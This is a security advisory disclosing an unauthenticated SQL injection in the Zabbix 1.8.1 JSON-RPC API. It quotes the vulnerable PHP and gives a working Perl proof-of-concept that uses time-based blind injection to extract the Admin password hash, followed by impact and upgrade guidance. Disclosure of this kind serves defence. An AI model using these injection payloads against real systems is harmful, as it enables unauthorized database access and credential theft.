Zabbix 1.8.1 SQL Injection

`=============================================  
- Release date: April 1st, 2010  
- Discovered by: Dawid Golunski  
- Severity: High  
=============================================  
  
I. VULNERABILITY  
-------------------------  
Zabbix <= 1.8.1 SQL Injection  
  
II. BACKGROUND  
-------------------------  
Zabbix is an enterprise-class open source distributed monitoring   
solution.  
Zabbix is software that monitors numerous parameters of a network and   
the  
health and integrity of servers. Properly configured, Zabbix can play an  
important role in monitoring IT infrastructure. This is equally true for  
small organisations with a few servers and for large companies with a  
multitude of servers.  
  
III. INTRODUCTION  
-------------------------  
Zabbix version 1.8 introduces an API which is vulnerable to an SQL   
Injection  
attack (up to 1.8.2). No authentication required.  
  
IV. DESCRIPTION  
-------------------------  
  
Zabbix API uses a function called DBcondition() (definded in  
include/db.inc.php) to format conditions in WHERE clause of an SQL query  
The function expects sanitized data and does not perform any additional  
checks:  
  
function DBcondition($fieldname, &$array, $notin=false, $string=false){  
global $DB;  
$condition = '';  
---[cut]---  
$in = $notin?' NOT IN ':' IN ';  
$concat = $notin?' AND ':' OR ';  
$glue = $string?"','":',';  
  
switch($DB['TYPE']) {  
case 'SQLITE3':  
case 'MYSQL':  
case 'POSTGRESQL':  
case 'ORACLE':  
default:  
$items = array_chunk($array, 950);  
foreach($items as $id => $values){  
$condition.=!empty($condition)?')'.$concat.$fieldname.$in.'(':'';  
if($string) $condition.= "'".implode($glue,$values)."'";  
else $condition.= implode($glue,$values);  
}  
break;  
}  
  
if(zbx_empty($condition)) $condition = $string?"'-1'":'-1';  
  
return ' ('.$fieldname.$in.'('.$condition.')) ';  
}  
  
The DBcondition() is used numerous times within Zabbix API code to   
include  
user supplied parameters within SQL queries. It is also used during the  
authentication in class.cuser.php:  
  
class CUser extends CZBXAPI{  
---[cut]---  
public static function get($options=array()){  
---[cut]---  
// users  
if(!is_null($options['users'])){  
zbx_value2array($options['users']);  
$sql_parts['where'][] = DBcondition('u.alias', $options['users'],   
false, true);  
}  
  
---[cut]---  
if(!empty($sql_parts['where'])) $sql_where.= ' AND '.implode('   
AND ',$sql_parts['where']);  
  
---[cut]---  
$sql = 'SELECT DISTINCT '.$sql_select.'  
FROM '.$sql_from.'  
WHERE '.DBin_node('u.userid', $nodeids).  
$sql_where.  
$sql_order;  
$res = DBselect($sql, $sql_limit);  
---[cut]---  
  
The $options['users'] variable can be supplied by calling the  
user.authenticate method of the Zabbix API with a 'user' paramter as we  
can tell from rpc/class.czbxrpc.php file:  
  
// Authentication {{{  
if(($resource == 'user') && ($action == 'authenticate')){  
$sessionid = null;  
  
$options = array(  
'users' => $params['user'],  
'extendoutput' => 1,  
'get_access' => 1  
);  
$users = CUser::get($options);  
$user = reset($users);  
if($user['api_access'] != GROUP_API_ACCESS_ENABLED){  
self::$result = array('error' => ZBX_API_ERROR_NO_AUTH, 'data' =>   
'No API access');  
return self::$result;  
}  
  
This lack of sanitization leads to an SQL Injection vulnerability which  
can be exploited without any authentication.  
  
V. PROOF OF CONCEPT  
-------------------------  
  
Below is a harmless PoC exploit that retrieves password hashes and   
checks  
for mysql root account.  
  
#!/usr/bin/perl  
  
#  
# zabbix181api.pl - Zabbix <= 1.8.1 API SQL Injection PoC Exploit  
#  
# Copyright (c) 2010  
# Dawid Golunski <dawid[!]legalhackers.com>  
# legalhackers.com  
#  
# Description  
# -----------  
# A PoC exploit for Zabbix <= 1.8.1 API (api_jsonrpc.php) prone to  
# an sql injection attack allowing unauthenticated users to access  
# the backend database.  
# The exploit performs a blind time-based sql injection attack to  
# retrieve Zabbix Admin's password hash and check if Zabbix uses a  
# MySQL root account.  
#  
# Example  
# -----------  
# $ ./zabbix181api.pl http://10.0.0.1/zabbix  
# Target: http://10.0.0.1/zabbix  
# Reqtime: 0.2s ; SleepTime: 0.4s  
#  
# Checking if zabbix uses mysql root account... No  
#  
# Extracting Admin's password hash from zabbix users table:  
# 5fce1b3c34b520ageffb47ce08a7cd76  
# Job done.  
#  
  
  
use Time::HiRes qw(gettimeofday tv_interval);  
use HTTP::Request::Common qw(POST);  
use LWP::UserAgent;  
  
my $zabbix_api_url = shift || die "No target url provided. Exiting.\n";  
$zabbix_api_url .= "/api_jsonrpc.php";  
my $ua = LWP::UserAgent->new;  
$ua->timeout(8);  
  
sub sendRequest  
{  
my ($api_url, $data) = @_;  
my $start_time = [gettimeofday];  
my $response = $ua->request(POST "$api_url",  
Content_Type => "application/json-rpc",  
Content => "$data");  
my $end_time = [gettimeofday];  
my $elapsed_time = tv_interval($start_time,$end_time);  
my $elapsed_time_sec = sprintf "%.1f", $elapsed_time;  
  
my %result = ("content", $response->content,  
"code", $response->code,  
"success", ($response->is_success() ? 1 : 0),  
"time", $elapsed_time_sec);  
return %result;  
}  
  
%result = sendRequest($zabbix_api_url, "");  
if ($result{success} ne 1) {  
die "Could not access zabbix API.\n";  
}  
my $req_time = $result{time};  
my $sleep_time = ($req_time * 2.0);  
  
print "Target: $zabbix_api_url\n";  
print "Reqtime: ${req_time}s ; SleepTime: ${sleep_time}s \n\n";  
  
$| = 1;  
  
print "Checking if zabbix uses mysql root account... ";  
my $jsondata = '{"auth":null,"method":"user.authenticate","id":   
1,"params":{'.  
'"password":"apitest123",'.  
'"user":"Admin\') ) OR '.  
'if (!strcmp(substring(user(),1,4),\'root\'),sleep('.   
$sleep_time.'),0) '.  
' -- end "},"jsonrpc":"2.0"}';  
%result = sendRequest($zabbix_api_url, $jsondata);  
print $result{content};  
if ($result{time} >= $sleep_time) {  
print "Yes!\n\n";  
} else {  
print "No\n\n";  
}  
  
my $username = "Admin";  
my @chars = (0 .. 10, "a" .. "f");  
my $md5_hash = "";  
print "Extracting Admin's password hash from zabbix users table:\n";  
for (my $offset=1; $offset<=32; $offset++) {  
for (my $idx=0; $idx<(scalar @chars); $idx++) {  
$jsondata = '{"auth":null,"method":"user.authenticate","id":   
1,"params":{'.  
'"password":"apitest123",'.  
'"user":"'.$username.'\') ) AND '.  
'if (!strcmp(substring(u.passwd,'.$offset.',1),\''.   
$chars[$idx].'\'),sleep('.$sleep_time.'),0) '.  
' -- end "},"jsonrpc":"2.0"}';  
%result = sendRequest($zabbix_api_url, $jsondata);  
if ($result{time} >= $sleep_time) {  
$md5_hash .= $chars[$idx];  
print $chars[$idx];  
}  
}  
}  
print "\nJob done.\n";  
  
  
VI. BUSINESS IMPACT  
-------------------------  
An attacker could exploit the vulnerability to retrieve any data from  
databases accessible by zabbix db user.  
In case zabbix has been given a more privileged mysql account the  
exploitation could go as far as code execution.  
  
Users running a vulnerable version of zabbix can become an easy  
target as zabbix installation can be easily discovered if default  
settings are used by checking for a listening server on port 10051 and/   
or  
existence of api script at http://host/zabbix/api_jsonrpc.php  
  
VII. SYSTEMS AFFECTED  
-------------------------  
Versions 1.8 and 1.8.1 are vulnerable.  
Versions in line 1.7.x starting from 1.7.2 also contain the  
api and could be vulnerable.  
  
VIII. SOLUTION  
-------------------------  
Upgrade to version 1.8.2 that has just come out or remove the API  
(api_jsonrpc.php) from your installation if not in use.  
  
IX. REFERENCES  
-------------------------  
http://www.zabbix.com  
http://legalhackers.com/advisories/zabbix181api-sql.txt  
http://legalhackers.com/poc/zabbix181api.pl-poc  
  
X. CREDITS  
-------------------------  
The vulnerability has been discovered by Dawid Golunski  
dawid (at) legalhackers (dot) com  
legalhackers.com  
  
XI. REVISION HISTORY  
-------------------------  
April 1st, 2010: Initial release  
  
XII. LEGAL NOTICES  
-------------------------  
The information contained within this advisory is supplied "as-is" with  
no warranties or guarantees of fitness of use or otherwise. I accept no  
responsibility for any damage caused by the use or misuse of this   
information.  
`